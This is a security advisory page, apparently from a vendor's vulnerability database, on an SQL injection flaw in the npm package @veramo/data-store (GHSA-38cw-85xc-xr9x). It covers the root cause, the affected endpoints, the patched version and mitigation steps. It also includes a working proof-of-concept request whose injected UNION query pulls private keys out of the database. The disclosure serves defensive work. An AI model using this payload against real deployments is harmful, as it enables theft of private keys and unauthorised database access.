Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
MEDIUM severity

GHSA-38cw-85xc-xr9x @veramo/data-store

MEDIUMFix: decentralized-identity/veramo#1482

GHSA-38cw-85xc-xr9x is a medium-severity (CVSS 6.8) vulnerability in @veramo/data-store. A fix is available for @veramo/data-store — see the affected versions and patch details below.

Veramo is Vulnerable to SQL Injection in Veramo Data Store ORM

Published
Jan 16, 2026
Updated
Feb 3, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Feb 3, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

40other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@veramo/data-storenpm
3Kdownloads / week

Description

Summary

An SQL injection vulnerability exists in the @veramo/data-store package that allows any authenticated user to execute arbitrary SQL queries against the database. The vulnerability is caused by insufficient validation of the column parameter in the order array of query requests.

Details

packages/data-store/src/data-store-orm.ts (lines 416-434)

The vulnerability exists in the decorateQB() function which processes query ordering parameters:

function decorateQB(
  qb: SelectQueryBuilder<any>,
  tableName: string,
  input: FindArgs<any>,
): SelectQueryBuilder<any> {
  if (input?.skip) qb = qb.offset(input.skip)
  if (input?.take) qb = qb.limit(input.take)

  if (input?.order) {
    for (const item of input.order) {
      qb = qb.addSelect(
        qb.connection.driver.escape(tableName) + '.' + qb.connection.driver.escape(item.column),
        item.column,
      )
      qb = qb.orderBy(qb.connection.driver.escape(item.column), item.direction)
    }
  }
  return qb
}

Root Cause:

  1. The item.column value from user input is passed directly as the alias parameter to addSelect() without any sanitization or validation
  2. While TypeScript defines allowed column types (e.g., TCredentialColumns = 'context' | 'type' | ...), this is only compile-time checking
  3. At runtime, the function accepts FindArgs<any>, allowing arbitrary strings to bypass type restrictions
  4. TypeORM inserts the alias directly into the SQL query, enabling SQL injection

Affected Endpoints:

All endpoints are located in packages/data-store/src/data-store-orm.ts:

EndpointMethodLine
dataStoreORMGetIdentifiersidentifiersQuery()85-98
dataStoreORMGetMessagesmessagesQuery()129-153
dataStoreORMGetVerifiableCredentialsByClaimsclaimsQuery()168-198
dataStoreORMGetVerifiableCredentialscredentialsQuery()227-252
dataStoreORMGetVerifiablePresentationspresentationsQuery()275-297

All these methods call decorateQB() which processes the vulnerable order parameter.

PoC

Prerequisites:

  • A running Veramo agent with the REST API exposed (e.g., via @veramo/remote-server)
  • Valid authentication credentials (Bearer token)
  • The agent uses @veramo/data-store with a SQLite or compatible database

Example Exploit to Extract Private Keys From DB:

POST /agent/dataStoreORMGetVerifiableCredentialsByClaims HTTP/1.1
Host: localhost:3332
Content-Length: 811
Authorization: Bearer test123
Content-Type: application/json

{ "where":[
    {
      "value": [
        "string"
      ],
      "not": true,
      "op": "foo",
"column":"bar"
    }
  ],
 
  "skip": 0,
  "take": 11111232323230,
"order": [
    {
      "direction": "ASC","column":"issuanceDate\" AS \"issuanceDate\" FROM \"claim\" \"claim\" LEFT JOIN \"identifier\" \"issuer\" ON \"issuer\".\"did\"=\"claim\".\"issuerDid\"  LEFT JOIN \"identifier\" \"subject\" ON \"subject\".\"did\"=\"claim\".\"subjectDid\"  LEFT JOIN \"credential\" \"credential\" ON \"credential\".\"hash\"=\"claim\".\"credentialHash\" where not(claim.isObj in (?)) and 1=0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,(SELECT json_object('alias', alias, 'type', type, 'privateKeyHex', privateKeyHex) ),22,23,24,25,26,27,28,29 from `private-key`-- -"
    }
  ]
}

similar exploit could be used against the other affected endpoints

Impact

Attack capabilities:

  • Complete database read access
  • Reading or write files into fs depending on dbms used
  • Database-specific escalation paths
  • Dos through timebased or multiple long running queries

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@veramo/data-storeall versions6.0.2npm install @veramo/data-store@6.0.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @veramo/data-store, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @veramo/data-store to 6.0.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-38cw-85xc-xr9x is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-38cw-85xc-xr9x can be triaged on real exposure rather than presence alone.

Tailored to GHSA-38cw-85xc-xr9x. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary An SQL injection vulnerability exists in the `@veramo/data-store` package that allows any authenticated user to execute arbitrary SQL queries against the database. The vulnerability is caused by insufficient validation of the `column` parameter in the `order` array of query requests. ## Details `packages/data-store/src/data-store-orm.ts` (lines 416-434) The vulnerability exists in the `decorateQB()` function which processes query ordering parameters: ```typescript function decorateQB( qb: SelectQueryBuilder<any>, tableName: string, input: FindArgs<any>, ): SelectQueryBuil
O3 Security · Impact-Aware SCA

Is GHSA-38cw-85xc-xr9x in your dependencies?

O3 Security finds GHSA-38cw-85xc-xr9x across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-38cw-85xc-xr9x: Medium 6.8 severity | O3 Security